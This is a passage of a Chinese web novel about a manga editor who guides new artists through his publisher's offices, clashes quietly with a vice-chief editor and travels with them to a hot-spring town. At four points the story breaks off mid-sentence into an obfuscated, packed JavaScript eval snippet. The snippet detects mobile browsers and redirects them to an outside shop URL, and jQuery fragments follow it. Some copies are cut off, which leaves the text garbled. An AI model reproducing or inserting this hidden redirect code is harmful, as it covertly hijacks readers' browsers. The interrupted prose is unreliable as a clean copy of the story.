关于这部作品能否入围,当初在编辑中是有争议的。 有些编辑认为这部作品的内容过于极端,又似乎违背了黑野社拒绝暴力的创社宗旨。黑野编辑持保留意见,既认为内容太过激烈了些,又认可情节的新意。是另一位编辑坚决支持这部漫画,并对反对者提出了强烈抗议,认为流行温情治愈故事的时代已经过去了,当今社会是不战斗就不能生存的世界,接下来这种大逃杀型漫画会成为新的潮流主题。 黑野编辑点点头,和他握手,同样报出自己的名字,“黑野编辑,幸会。” 青年露出了兴奋的情绪,“所以,你就是那个……” 情况并不容许他们在此多聊,因为其他新人们也都聚了过来。东云茜腼腆又激动地上前打招呼。瘦小宅男也凑了过来。带着公务包的男性合上了自己的笔记本。 东云茜的作品是《夜樱》,融合了治愈、亲情、悬疑等元素的社会题材漫画。 瘦小宅男叫做阿部翔太,他的作品是关于足球的体育漫画《黄金11》。在体育漫画的这个细分类上,近几年还没有爆红的作品占领市场,他是有希望靠着画足球出头的。 带着公务包的男性是柊贤一。自称是特地从事务所请假来参加研讨营的。 他的作品是推理漫画,逻辑严密,很符合黑野编辑的审美。 那群女性也结束了聊天,等待这些男人们都打完招呼后,才互相推让着,笑嘻嘻地走上前来。 她们各自介绍自己,同时也从集体中独立出各自的个性。 被推到第一位上前的是年纪最大的女性,三浦美雪。黑野编辑看过她的资料,四十二岁,职业栏填写的是家庭主妇,紧急联系人一栏是空白的,没有填任何家属或亲人。 背后的情况可能有点复杂,但成年人拥有选择自己的生活方式的自由。 三浦美雪的作品是硬核的星际农场故事,主线是在外星球上拓荒的两个农场家庭的争端。故事题材很有新意,黑野编辑对此印象很深。 作者自述是从和邻居关于家庭菜园的争执中获得的故事灵感。 后面三位女性都只比鹰之助小一岁,是明年将要毕业的大学生。 她们来自同一个大学社团,参赛漫画也是合力创作的。《颠覆古平安京》讲述在古平安京时期妖鬼横行背景下的复杂的政治、爱情、除魔故事。 她们合作的笔名是森海岚,从三人的姓名森川莲、近藤海、小宫朝岚中各取一字,看来是有长期稳定合作的打算。 三位女大学生的风格各有不同,一个飒,一个温柔,一个冷静,在打招呼时就都有体现,但同样看得出来,她们的关系亲密无间。 场中的女性们能够这么快熟络起来,大概也和她们之间的氛围有关。 最后那位女性,橘寅花,在所有新人中的年纪最小,是位高中生。 她是带着监护人的签字和学校批准的假条过来的,能拿到这两份证明,说明这份职业道路得到了家长和学校的认可,也说明她本人具备足够的坚持。 在这个年纪里就下定决心,早早确定自己的道路,是不容易的。 她看起来性格活泼,天真单纯,作品风格也同样澄澈,是一部名为《我的男友变成了大老虎!?》的校园恋爱轻喜剧,以离奇的妙思、无厘头的喜剧桥段、清纯的感情风格,得到了编辑们的一致好评。 【已解锁新人漫画家,奖励积分500。】 …… 【已解锁新人漫画家,奖励积分500。】 匣子正在静音频道里给黑野编辑刷积分,突然听见宿主问,【有什么发现吗?】 47.新人们 【暂时还没有发现东云茜当初那种情况。】匣子回答说,【不过……】 它当初抓住《夜樱》世界的污染源后,是通过分析比对特征来找到《病人守则》世界的。 可是在离开《病人守则》世界后,它原本能隐隐感知到的那些污染信号,全都消失了。 应该是在《病人守则》世界里的行动惊动了对方。 户田女士最早发觉异常,为自己的私欲用幻觉拖住了黑野编辑,虽非有意,但也为异常污染源争取了时间。等黑野编辑带着匣子回头来找胧车的时候,匣子的污染剥离手术很成功,成功保护了《病人守则》世界的纯净,然而,在整体战略上可能已经迟了。 特殊污染源之间应该存在某种联系,相互传递情报,舍弃了某部分特征。 这种隐藏应该也会限制特殊污染源的性能。可对匣子来说,相当于线索全废,前功尽弃,又要从头开始。 黑野编辑倒不在意。不作恶的恶等于不存在。 他还没有对特殊污染源的危害性下定论,没有匣子那种【躲着我就是不对,一定要把它揪出来】的决心。 当然,如果有什么异常暴露出来,或是影响到他负责的漫画家的创作,编辑也不会坐视就是了。 大堂里不是适合交流的地方。 若按照往年的流程,此刻应该带着集合的人员去门外乘坐中巴,直接出发去预订好的温泉酒店了。 两三个小时的车程,这种非强制性的社交空间,足以让热爱社交的人好好表现自己,也不至于让不合群的人不自在,等抵达目的地的时候,所有人就差不多都能摸清彼此的社交安全距离和脾气。 但今年的流程有所改动。 有新人由于时间冲突只能参加研讨营的前半程活动。这种情况在往年也是很常见的。细心的鹰之助在研究行程时,向黑野编辑提出,想要将每年研讨营安排在最后一天的环节——杂志社本社参观活动提前。 黑野编辑认可了这个建议。让新人漫画家们了解漫画杂志的生产决策和制作推广过程,对其职业生涯的帮助显然比踏青观光更重要。 由于杂志社在樱京,而研讨营举办地点在外县,为了避免在两地间来回奔波浪费时间,这个活动不安排在周六返程后,就只能安排在周一出发前。 往年没有将这个活动安排在周一,是因为周一实在不方便——大多数部门会在这天早上开例会,定下一整周的工作安排。 没有哪位带队编辑愿意协调这么多部门的具体参观时间。 但这对黑野编辑来说不是问题,他对每个部门的情况都很熟悉,知道哪些部门的例会结束得早,又要怎样安排参观顺序和路线最合理。 至于在刚上班时,所有部门都还在开例会或调整工作状态的时候,安排也很简单,先带新人们去参观总部一楼的画廊展厅就好了。 这里展示了黑野杂志社的发展历史,以及不同时期里经典作品的原稿、作者介绍和纪念周边,可谓是黑野名人堂。部分漫画家和社会人士捐赠的奇妙艺术品也会被陈列在这里。展出内容很丰富。 这里平常也是向公众开放预约参观的,可能部分有志于漫画的新人已经自行来参观过。 但根据黑野编辑的了解,大多数漫画家在出道前都是没来过的,或许是没有合适的出行机会,或许是没有主动出门参加这种活动的动力。 就算有人来过,应该也不会拒绝在资深编辑的带领和解说下再游览一遍。 唯一的问题是,还有一人迟到了。鹰之助正在打电话联系对方。 不守时,不是黑野编辑在漫画家身上见过的最棘手的问题。他对此很有经验,也不抱什么傻等的希望,看见到了活动正式开始的时间点,就招手带领一群人进展厅。 情况和他预想的一样顺利。 新人们对这项行程都很感兴趣,观摩前辈们的原画时很认真,眼神里带着敬仰,憧憬,思索比较,带着胜负欲的评判甚至是取而代之的野心。这很好,新人们有这种心气是好的,能不能经受得住市场的考验,能否承受得住可能的挫折,就是另一回事了。 的确有人曾经来参观过,表现得对这里稍熟悉些,但也没有说什么炫耀或扫兴的话。 怀着与旧时稍有不同的心情,同样参观得很认真。 参观到一半的时候,鹰之助终于带着一位脚步匆匆的少年跟上了队伍。 黑野编辑在结束完一段解说的时候,对那位刚到的少年点了点头。 少年犹豫半秒,在鹰之助的鼓励下,趁众人边参观边移步到下个展厅的间隙里,鼓起勇气靠近黑野编辑。黑野编辑特意慢了半步,和这位表现得有些羞涩的少年握了握手。 用不着对方的自我介绍,黑野编辑也能对号入座。 松阳勇之介。和橘寅花同龄的高中生。 据鹰之助比划的手势,他应该是睡过头了才迟到,并非遭遇了什么意外的阻拦。少年的头发也还乱糟糟的,一身匆匆套上的运动服,袜子边都露在了裤脚外,显而易见其出门时的慌乱。 松阳勇之介的参赛作品《勇者之剑》是相当传统,甚至传统到有些老套的王道漫画。一点都不像是新生代的作品。在看到其个人资料前,还有编辑以为其作者是位至少有四五十岁的怀旧长者。 《勇者之剑》的传统,与其同龄人橘寅花作品《我的男友变成了大老虎!》那种轻盈活泼的风格形成鲜明的对比。 有些编辑认为这部漫画的立意过于陈旧,无法在当今年代征服读者的喜好,很不看好其未来。黑野编辑能够理解这种观点,但他其实还挺喜欢这种传统王道漫画的。幸好,这部作品最后还是以微弱的票数优势入围了。 能否继续在读者投票中取胜,就得看天意了。 ——这种不被所有人看好的主角,也挺有王道剧情的特色。 鹰之助手里拿着一个巨大的背包,应该帮松阳勇之介提着的。 从少年那潦草的服饰风格来看,背包里装着的应该就是他的行李了。他一路匆忙赶时间,有可能会落下学生证、钥匙、现金等重要物品,行装也未必能应付五月初的山中天气。 待会在上车前,要让鹰之助提醒他再检查一次。 后续的参观中,这位少年极其认真,询问了比其他新人们加起来还要多的问题。就如同黑野编辑预料的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040558|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,松阳勇之介对所有经典作品如数家珍,就好像不是生活在现代校园里,而是生活在那些老漫画的世界里一样,他还会问一些奇怪的关于作品设定的细节问题。 如果不是黑野编辑和那些漫画家相熟,甚至亲手负责过其中某些漫画,可能还真的答不上来。 看得出来,松阳勇之介为自己因迟到而错过了前半部分参观的事情扼腕叹息,又想要加倍地将热情回报在后半部分参观里。 但黑野编辑的时间观很强,不会为了照顾一个人拖累整体进度。 在时间差不多的时候,他就果断地加快了解说进度,带领所有新人离开展厅,奔赴下一个参观环节。 对松阳勇之介来说,以后再参观这里的机会还有很多。 ——如果他的作品能取得成功,又或是哪怕作品遭遇了重大挫折,他也仍愿意回到这里来重温梦想的话。 接下来是各部门的参观。 负责执行排版印刷的制作部。负责出版物视觉包装的设计部。负责维护销售渠道的市场部。负责品牌运营的营销部。负责开发电子刊物的网络部。 在多年来的工作里,黑野编辑和这些部门打了太多交道,与其主要负责人都很熟悉。 在他的带队下,一路参观下来都非常顺利,氛围很好。 直到最后,轮到了他所就职的核心部门——编辑部。 编辑部的例会一向是开到最晚的,所以最重要的部门被排到了参观顺序的最后。这里也是新人们最希望能参观,日后可能也最常来的地方。 黑野编辑久违地推开了这里的门。 熟悉的气息,一种混合着油墨与咖啡的味道飘了出来。 这里是一间宽阔的大厅。日光灯总是常亮的,照耀着办公室桌面上那些摊开的样书、原稿、选题策划。各种各样的杂物,周边、绿植、零食散乱其中。 摆放着过刊与参考书籍的书架像忠诚的城墙护卫着整个办公室。 但是不对。 这里的工位上,一个人都没有。 “奇怪,”鹰之助拿着手机跟上来,“我向凤凰院副主编汇报过今天的参观时间,他说没问题的呀?” 黑野编辑转头问,“今天的例会是凤凰院主持的?” “是的!”鹰之助快速回答道,“竹内主编受邀去参加行业交流活动了,周二才能回来,将事情都交给凤凰院副主编了。” 黑野编辑明白了。 “你先带新人们回市场部。说新人们需要休息片刻,请市场部帮忙安排一间会议室,准备些茶点和读物,让新人们在那里等待一下。” 市场部是最擅长待客的,临时安排这些是顺手擒来的事情。 “我去看看他们的例会。” 交待完这些,黑野编辑就径直向编辑部深处的会议室走去。 半透明的玻璃幕墙里透出灯光和人影,偶尔还有人说话的声音,果然是编辑们还在里间开例会。 他敲了敲门作为提醒,不等回应就推门进去。 会议室内的氛围微妙地静了静。 黑野编辑看了眼室内的情况,问,“今天的例会还没结束吗?” 48.编辑们(上) 与其他漫画杂志社相比,黑野社有个很特殊的情况。 在过去的许多年里,编辑部都没有自己的主编。 主编一职,竟然是由黑野社的社长亲自兼任的。社长直接管理,既是对编辑部的重视,也亲自肩负核心业务,承担起所有责任,不会像其他漫画杂志社那样,业绩不好就更换主编。 若黑野社成绩不好,这个配置会被外人嘲笑为小作坊作风。然而黑野社越做越大,这就成为了一段业界佳话。甚至有其他杂志社试图效仿,却如何都借鉴不来。 事实上,社长年纪大了,又擅长养生,本身工作也很多,并没有那么多精力再投入到编辑部的具体事务中。 真正担负起这份事务的另有其人。 社长名义上是主编,而所要做的事,不过是为此人授权,再多点点头,在此人递过来的决策建议书上多签几个名而已。 ——要不是黑野编辑不肯做主编,社长也不用将整件事弄得这么麻烦。 所以,在黑野编辑今年春天受伤养病,又顺势提出来辞职申请时,遭遇了最大工作量冲击的,不是接手了他所负责的漫画家的小林、宫部等编辑,而是习惯了撒手不管的社长。 社长只用一个小时就确认了,这个摊子他管不来,而且,如果黑野编辑要走的话,也没必要再按过去的方式来管。 除了黑野编辑外,大概没有人愿意只做工,不担名。 黑野社编辑部必须要有新的主编了。 观察并提拔新的主编是需要时间的。 工作任务是等不及了,但也有代理主编的位置可以暂时安置考察对象。 所有人,包括黑野编辑,都以为社长会暂缓任命新的主编。这是最合理的选择。 黑野编辑不知道那段时间编辑部里发生了什么,在他回家养病一周后,社长就任命了新的主编。 收到通知时,黑野编辑有点高兴,这意味着社长终于接受了他的辞职,自行消化掉了不舍的情绪,并用这种方式来让自己安心。 又有点困惑。他以为有能力担任这个位置的编辑,是年轻且有能力的凤凰院隼人。但社长选择的是资历更深的竹内朋。 竹内朋也是黑野社的元老编辑了,人缘好,脾气好,但是对工作的标准很宽松,总是缺了点将事情磨到极致的动力。主编这个位置,竹内可能是担不起来的。 社长偏偏就这么选了,然后将凤凰院隼人升职为副主编,作为其辅佐。 黑野编辑也是后来才得知,编辑部里有了一些流言。 有人认为社长是还没有对黑野编辑死心。黑野编辑因为思念故乡而归国,不愿意留在这里长期发展,但未来的事情谁也说不准,如果黑野编辑回到故乡后又开始怀念樱岛的好呢?如果在那边的发展不如意呢? 捧竹内朋上位,明显就是趁机给老人提薪酬待遇。竹内自己没有什么野心,早就在想退休的事情,等过两年黑野编辑要回来,竹内肯定心甘情愿地让位。这么多年共事的业绩对比在这里,竹内是老早就承认了自己比不过黑野编辑的,自尊心不会受挫。两人交情老,大有可能继续和睦相处。 所以,竹内就是个主编吉祥物而已。 事实上,谁都知道,竹内好说话,刚上任就将大部分业务都放权给了凤凰院隼人,倒有些当初社长用黑野编辑的气象。 社长不明着用凤凰院隼人,不就是怕以后黑野编辑回来的话,两人位置尴尬? 凤凰院隼人这么年轻,又有锐气,一旦在这几年里坐稳了主编的位置,日后肯定是不会相让的。按他们的想法,黑野编辑不可能愿意做凤凰院隼人的下属。 除非凤凰院隼人犯了什么错误,否则要他为黑野编辑腾出位置的话,怕不是要将他逼到其他竞争对手那里去。重要编辑跳槽往往会设法带走一批漫画家。黑野社可就元气大伤了。 不如一开始就把他放在副主编的位置上,等过几年,要是黑野编辑真不回来,再顺理成章地将其转正。 黑野编辑一直在家里养病,主动放弃了和编辑社的接触。他和其他编辑从来没有工作以外的私交。鹰之助更是完全没有把心思放到这种职场的弯弯绕上。 这个流言能流传到他这里,也是很有些蹊跷的。 黑野编辑猜测,要么是竹内,要是凤凰院,他们是故意推动,让人透露给自己的。 社长要是有什么想法的话,会和自己直说。 黑野编辑是真心想要辞职,无意干涉社长的决策和黑野社的未来发展。 他不打算做什么,上次社长来探病的时候,他也没有问。 社长或许是真心觉得凤凰院隼人需要继续磨炼,而竹内朋有可能在主编的位置上被逼出更多潜能呢? 他刚刚提出要延后自己的离职时间,若再提起这个流言,社长可能会多心。 事实上,流言有一部分是错的。 黑野编辑本来就不想做主编,这些年来承担这部分事务都只能算是回报社长的人情。 只要黑野社能稳步发展,他也不在乎谁在主编这个位置上。做谁的下属他都有心理预期。职位本来就只是一种分工。他只是想要待在合适自己的位置上,带带漫画家,审审稿,解决一些漫画家画不出漫画的问题,单纯地完成掉自己喜欢的这部分工作而已。 眼下,这部分工作可能受到了一些微小的影响。 那就解决这个问题。 站在会议室门口的黑野编辑问,“今天的例会还没结束吗? 坐在会议桌上首的凤凰院隼人,打从黑野编辑进门起就一直专注地看着他,此刻回应说,“是参观的新人漫画家们到了吗?抱歉——今天有三位编辑因故迟到,例会比往常推迟了半小时开始,现在还没结束。” 今天是什么迟到日吗?不。 黑野编辑看了一眼室内,作息最不规律的宫部正好好地在座位上坐着,迎向自己的目光,露出一个不好意思的讪笑,今天不是他。 倒是有几位意料以外的编辑,稍稍回避开自己的眼神。那都是些很少晚到的人。 【虽然没有证据,但我总觉得,说话的那个家伙对你有恶意。】匣子说。 匣子的感觉可能没有错。 凤凰院隼人当初也是黑野编辑带出来的新人,这些年里,两人的关系却越来越冷淡了。 樱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑野编辑在工作中几乎没有遇到过什么无法解决的问题。例会因故推迟召开,影响了新人参观时间?没关系,加入讨论,帮助这些编辑理清思路,尽快结束会议就好了。 “不用了。”凤凰院隼人合上自己面前的策划案。 他说出“不用了”这三个字时的口吻,颇有些黑野编辑过去的风范,在场很多编辑对这种语气都很耳熟。 “大部分议题都已经讨论完了。还剩下几件小事,我接下来单独找负责的人聊。” 凤凰院隼人包揽下任务,果断地结束会议,站起身来,“我们一起去看看新人漫画家们吧,那将是黑野社未来的栋梁。” 在黑野编辑到来前,凤凰院隼人很有故意拖长例会时间的嫌疑。 在场所有编辑都心知肚明,但没人敢拆新任副主编的台。 反正从结果上来看,新任副主编没有达成任何目标,既没有让黑野编辑“认清状况”,也不可能让黑野编辑低头,甚至没能捞到一点黑野编辑的愤怒不满,不过是在自找不痛快而已。 49.编辑们(下) 新人漫画家们刚刚在市场部的会议室里坐下,茶点还没就位,就得到了又可以去参观编辑部的通知。 编辑们当然不会将场面弄得那么尴尬。 凤凰院隼人很擅长处理这些,他特意跟着黑野编辑过来,以编辑部副主编的身份向市场部致谢,示意这场招待可以继续。 然后趁着茶歇的十五分钟,向正在享用茶点的新人漫画家们进行了简短的欢迎致辞,介绍了编辑部的职能和能为漫画家们提供的帮助,又为他们介绍彼此,并简要介绍了每个人的作品,加以鼓励,让每位新人都心潮澎湃,振奋不已。 总之,就是原本黑野编辑应该在正式开营后第一场研讨会上完成的工作。 黑野编辑的想法和普通人不一样,没有半点被别人插手工作的不快,也不认为这种开班讲话是什么需要争抢的风头。 副主编愿意代劳,而且效果不错,黑野编辑当然没有意见。 鹰之助一进黑野社就跟着黑野编辑,心思也很单纯,此刻见识到凤凰院隼人的老练,主要的想法是羡慕,“要是我也能像这么能干就好了。” 黑野编辑站在他旁边,听到他的感叹,抬起手来拍拍他的肩。 “我听凤凰院副主编说,他以前也是您带的新人?”鹰之助转过头来,好奇地打听。 黑野编辑倒是有点惊讶,“没想到他还会和人说起。” “有次我下班后回来拿东西,恰好遇到他加班,他单独和我说的。”鹰之助当时心想,凤凰院副主编真勤勉啊,又是前辈,得多向其学习才行。 其实那天凤凰院副主编的语气有点怪异,鹰之助没能听懂其潜台词,是想要向黑野编辑请教的,现在听黑野编辑的回答,似乎又不适合继续追问,只好将疑问咽下去,换了一句,“为什么不和别人提?要是您同意的话,我以后肯定都想要写到自己的回忆录里。” 黑野编辑笑了,“那你得努努力,以后成为大人物,不要让回忆录积灰了。” 这句鼓励让鹰之助脸都红了。 凤凰院隼人刚刚结束发言,下意识用余光扫过来,望见这对师徒谈笑甚欢、融洽亲近的模样,眉毛微微拧了一下,又克制住了。 他继续自己的工作,微笑着将名片分发给各位新人漫画家,告诉他们,如果未来有什么困惑,或是在与责任编辑的交流中遇到什么问题,可以直接和自己联系。 外人不太了解黑野社的内部生态。副主编的名片看起来自然是比一位资深编辑的名片更重要的,新人漫画家们都很感激地收下了。 虽然是初次见面,但凤凰院隼人对各位新人漫画家也是心里有底的,绝不会弄错人。论起对资料的熟悉掌握程度,他是和黑野编辑相当的。 他对这批参赛漫画也很看重——在黑野编辑横插一脚前,他原本想要亲自做这件事。 黑野编辑想辞职就辞职,想带新人就带新人,从来都不会考虑别人的想法。 凤凰院隼人自认为已经习惯忍耐了。 在与新人漫画家斗沢封真握手时,凤凰院隼人格外多看了这位面色倨傲的青年几眼,又特地多说了几句话。 凤凰院隼人相信自己的眼力——《人间界革命》是相当有开创性的作品,或许能将黑野社带入新的时代。 新人,新气象,新高峰,这正是黑野社在当下的困境里最需要的事物。 是的,凤凰院隼人用了“困境”这个词语,作为对黑野社当前所面临的形势的判断。他在与社长的单独长谈中也挑明了这点,社长没有否认这个判断。 这些都是黑野编辑毫不关心的事物。 副主编亲自带着新人漫画家一行来到编辑部里,受到了编辑们的集体鼓掌欢迎。随后就是漫长的互相介绍,参观提问环节。 新人漫画家们受到了热情周到的接待。 鹰之助趁机给黑野编辑展示自己的工位。黑野编辑看了看鹰之助桌上摊开的参考书和笔记,指点他换更合适的另一本。 有人默默地跟到了他们两人的身边,看到前面的副主编正背对着此处在为新人们介绍书架上的旧刊,才低声开腔。 是宫部编辑。他有些焦虑地向黑野编辑请教,“我找不到桑原老师了。” 这个问题是有些棘手。 桑原老师在过去也是由黑野编辑负责的。这位社会派的漫画家个性很特别,每当找不到灵感的时候,就会变装逃跑去体验生活,做过流浪汉,进过黑工厂,搭便车旅行,开出租车,甚至还混进过监狱,几乎没有什么是他不敢做的。 黑野编辑曾经和他进行过长期的斗智斗勇,很清楚每次他一失踪,肯定都是去了什么了不得的地方,后续会为编辑带来无穷无尽的大麻烦。 “全都找过了?”黑野编辑在交接时没有藏私,将他所掌握的桑原老师的后备联系方式和常用落脚点,全部都交给了宫部编辑。 宫部编辑点点头,又摇摇头,说,“始终找不到,已经失去联系快一周了,连载那边已经用取材为理由休刊了。” 编辑又不是监护人,就算担心,也没法用这种理由去报警。 更怕桑原老师真去什么见不得光的地方取材,这一报警反而将桑原老师给送进去了。 “你去我当初给你的第二批地址,问问看有没有人见过他。”黑野编辑传授经验,“另外,隔两天就要将他的备用落脚点都转一遍,看看有没有他回来过的痕迹。” 桑原老师的潜伏式取材很有耐心,不归家是常事,要趁他回家补给的时候堵他不容易,不如去他常搜集情报的几个地点看看。 不报警是对的,如果没有确切的遇害线索,这种成年人的失踪案,樱岛警方也就是登记备案,派几个警员在周边找人问问话罢了,工作做得可能还没有熟悉情况的编辑细致。 不过,这种事情,对宫部编辑来说,可能没那么容易。 “再有就是整理下他最近感兴趣的题材,看看有没有相关的社会新闻,是可能吸引到他外出的。”黑野编辑看见宫部编辑神色讶异,知道对方大概是有了突破口,就不再继续深入。 “你先找找吧。”他说,“等研讨营结束后,要是你这边还没有联系上他,我就再帮你看看。” 【你平时做的都是些什么工作啊,】匣子都有些叹为观止了,【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他从车座后面拿出几份早餐来,咖啡有些冷了,不过樱岛人都是习惯冷食的。 不管是边吃早餐边参观画廊,还是边吃早餐边参观部门,都不太礼貌。鹰之助在一开始没找到机会,现在才能去询问新人是否需要补充能量。 黑野编辑在他身后提醒,“没必要自费,记得报销。” 漫画家的作息一般都不大好,准漫画家也差不多,没吃早餐的新人果然不止松阳勇之介一个。 这方面女性做得不错,只有橘寅花要了饭团,三位女大学生则是冲着咖啡来的。 男性这边,带着公务包的柊贤一也矜持地选择了咖啡,斗沢封真、松阳勇之介、阿部翔太三位都没有吃早餐。只有东云茜幸免于难,毕竟这是一位会给自己做饭的独居男性。 分发完后,鹰之助手里还剩一点剩余的食物。 带少了是个问题,多出来就不是。鹰之助坐到中巴车的最后排,毫无负担地将剩下的食物都吃光了。 这或许就是鹰之助最初为自己预留的最终兜底方案。 黑野编辑回头看了眼,心想,体育生的胃口,真是深不可测的黑洞。 当初那几片面包,是他判断错误。 下次得再多做点。 50.温泉小镇 考虑到有些漫画家不那么愿意与刚认识的陌生人近距离相处,为他们订车时要预留富余的座位。 这趟出行订的就是22座的标准中巴车。 果然,除了那三位女大学生一上车就亲亲热热地坐到一起,又接纳了高中生橘寅花的加入外,其他新人们都谨慎地选择了独自占据一排。 鹰之助原本想过,要是十位漫画家全都想要分开来坐的话,他可以和黑野编辑坐在一起。 结果因为女孩子们挤在一起,座位就多出来了,他眼睁睁地看着黑野编辑坐去了最前面的副驾驶座。 毕竟是工作。 接下来的一周里,整场研讨营中他可能都要习惯这个。 要是将自己的皮卡车也开来就好了。 鹰之助独自坐在中巴的车尾,不由心想,自己也可以开长途,他还是习惯看见黑野编辑坐在自己旁边的副驾座上,想要请教问题都很方便。 要是中途出什么事的话,多台备用车也有保障。 好在鹰之助很快就没有心思胡思乱想了。 坐在他前面的阿部翔太,鼓起勇气来找他搭话。 这位画足球题材漫画的作者,虽然身体素质不足以支撑他深入体验自己热心的事业,但他对所有体育运动都怀有极大的热情,也对看上去就是体育生的鹰之助怀有许多憧憬。 两个人很快就体育话题聊得火热。 在中巴车的中部,女大学生和女高中生的组合也聊得很投契,话题从一开始的护肤品甜食,转到了相对硬核的剑道和弓道,最后橘寅花开始大声地介绍起自己的无限制流格斗赛事录像收藏。 鹰之助不由心想,这是未成年人可以观看的吗? 坐在前排的男高中生松阳勇之介显然也很想要加入这个话题,但他的插话明显没有得到几位女性的重视。 倒是坐在过道另一侧的单身家庭主妇三浦美雪,对这位老成的少年挂在腰上的毛线怪兽玩偶挂件产生了兴趣,侧身过来问了两句,随后聊了起来。 东云茜不擅长这种人际交往,一直看着窗外发呆,直到目光捕捉到了某片景物,才猛然回神,掏出随身的纸笔来,低头画起了速写。 是这些新人里看起来最像漫画家的一位。 公务包不离身的柊贤一,一上车就重新拿出笔记本电脑,打开来对着屏幕冥思苦想,仿佛撑开了一座与外界隔绝的结界。 比起推理漫画作者,更像是金融工作者或律师什么的。 青年斗沢封真,则是从刚上车起就闭眼睡觉。 一副我行我素,毫无与外人交流的欲望的模样。 半小时后,他突然醒来,掏出了手机,对着键盘一阵噼里啪啦。 坐在最前排的黑野编辑收到了短信。 他打开来看,是斗沢封真: “你相信残酷的社会丛林法则吗?” ——是很常见的中二病型青年漫画家。 对这种思想观念和常人不大一样的漫画家,不能给出否定的回答,因为编辑不能和漫画家在理念上划清界限,但一味迎合对方的喜好,伪装成同类也不是好办法,至少黑野编辑不会这么做。 【哇!他知道什么叫做残酷的社会丛林法则吗?要和他好好说说吗?】匣子倒是兴奋起来了,让黑野编辑有理由相信匣子或许是其同类。 不过,说教也不是正确的答案。 这种中二病选手很难接受来自外界的任何理论输入,或者说他们根本就不需要也不在乎别人的想法,他们发起的一切谈话,都只是想要展现自身的另类和特别而已。 黑野编辑回复,“为什么要问这个问题?你怎么想?” 斗沢封真的回复也来得很快,不是即兴发挥的大段理论,而是一句质问:“试图回避问题吗?真是虚伪的大人啊。” 虽然中二,但是思维很敏锐,很尖利,和他的作品《人间界革命》的风格很相符。 黑野编辑冷静地继续回复,“或许是吧。但我还是想要听听你的想法。” 身后的某个座位上传来一声愉快的轻哼,随后是噼里啪啦的手机按键声。 等到中途下车用午餐的时候,黑野编辑的眼睛已经有些疲累了。 他看了太久手机。 除了斗沢封真的短信轰炸外,后半程里,鹰之助终于想起来可以和前排的编辑用手机联系,等阿部翔太睡着后,也发短信来问东问西。 甚至连凤凰院隼人,都久违地发来一条问候短信,祝泽前辈这次的外出工作一切顺利。 黑野编辑已经不确定他们的关系是好是坏,只好客气地回复了一句感谢支持工作。 根据往年的经验,他们在中途的停车点休息了一个小时,享用过当地的特色美食后,再重新上车。 离创作营的目的地还有几个小时的车程呢。 创作营的举办地点,其实是社长的家乡。 那里在过去曾是个繁华的北方小镇,后来随着樱岛的城市化发展,人口逐渐都涌来了樱京这种超大型城市,以农业为主导的北部地区越来越萧条。 近几年来,这类型的小镇为了自救,又开展了乡镇复兴计划,试图推动地方文旅发展。 社长将创作营的地点安排在这里,也有想借机宣传、回报家乡的意图。 不过,那里确实是个很适合休养的温泉小镇。 就是路程遥远了些。 新人漫画家们在路途上已经慢慢熟悉了起来。午餐后的一阵午睡后,醒来的新人们开始尝试着继续聊天,交流更多的兴趣爱好——按照大多数漫画家的作息习惯,他们在一天里的后半段时间,精神会比前半段更好。 连上午没有参与集体交流的几位男性,在下午也忍不住放下自己的工作或冥想,加入了高谈阔论。 性格再孤傲的人,在适合的环境里也会想要发表言论的。 “都五月份了,还要去泡温泉,不是很奇怪吗?” 这是看起来很像社会职业人士的柊贤一,对此次出行目的地提出的意见。 但是随着路程继续往前,他就不再做声了。 巴士车已经驶入了山区。窗外里望不到边际的高大林木,将幽深的树影投了下来。新人们打开车窗呼吸着山林里的新鲜空气,一丝凛冽的寒意也顺势透了进来。 在这种海拔较高、又幽深的北部山区,五月初的天气也有几分寒冷。阳光都被树林顶部拦截了,下层林区像是还未被春天光顾过的模样,只有啁啾鸣叫的鸟声回荡在高处,带着活泼的生气。 山区里还藏着冷冽的溪流与小湖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065144|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然有点冷啊,鹰之助心想。他听取前辈们的意见,在出行前就向所有参加人员发了着装建议,不知道大家有没有好好带厚度合适的保暖衣物。 黑野老师肯定有认真带够衣物吧?他不久前刚出院,还需要继续疗养,泡温泉肯定对他的腿大有好处。 ——社长的安排简直太完美了。 等巴士车再翻过一座山,目的地就展现在他们的眼前了。 在一段长长的下坡路尽头,是一座美丽的传统小镇,乌黑的瓦脊连成一片,点缀着屋前屋后的绿树紫花。山谷里有明媚的阳光照耀,还停留在春日的景象里。 镇外有一片波光粼粼的碧色湖泊,下午的阳光在波浪间描绘出点点浮动的黄金。 远处是开阔的田野。 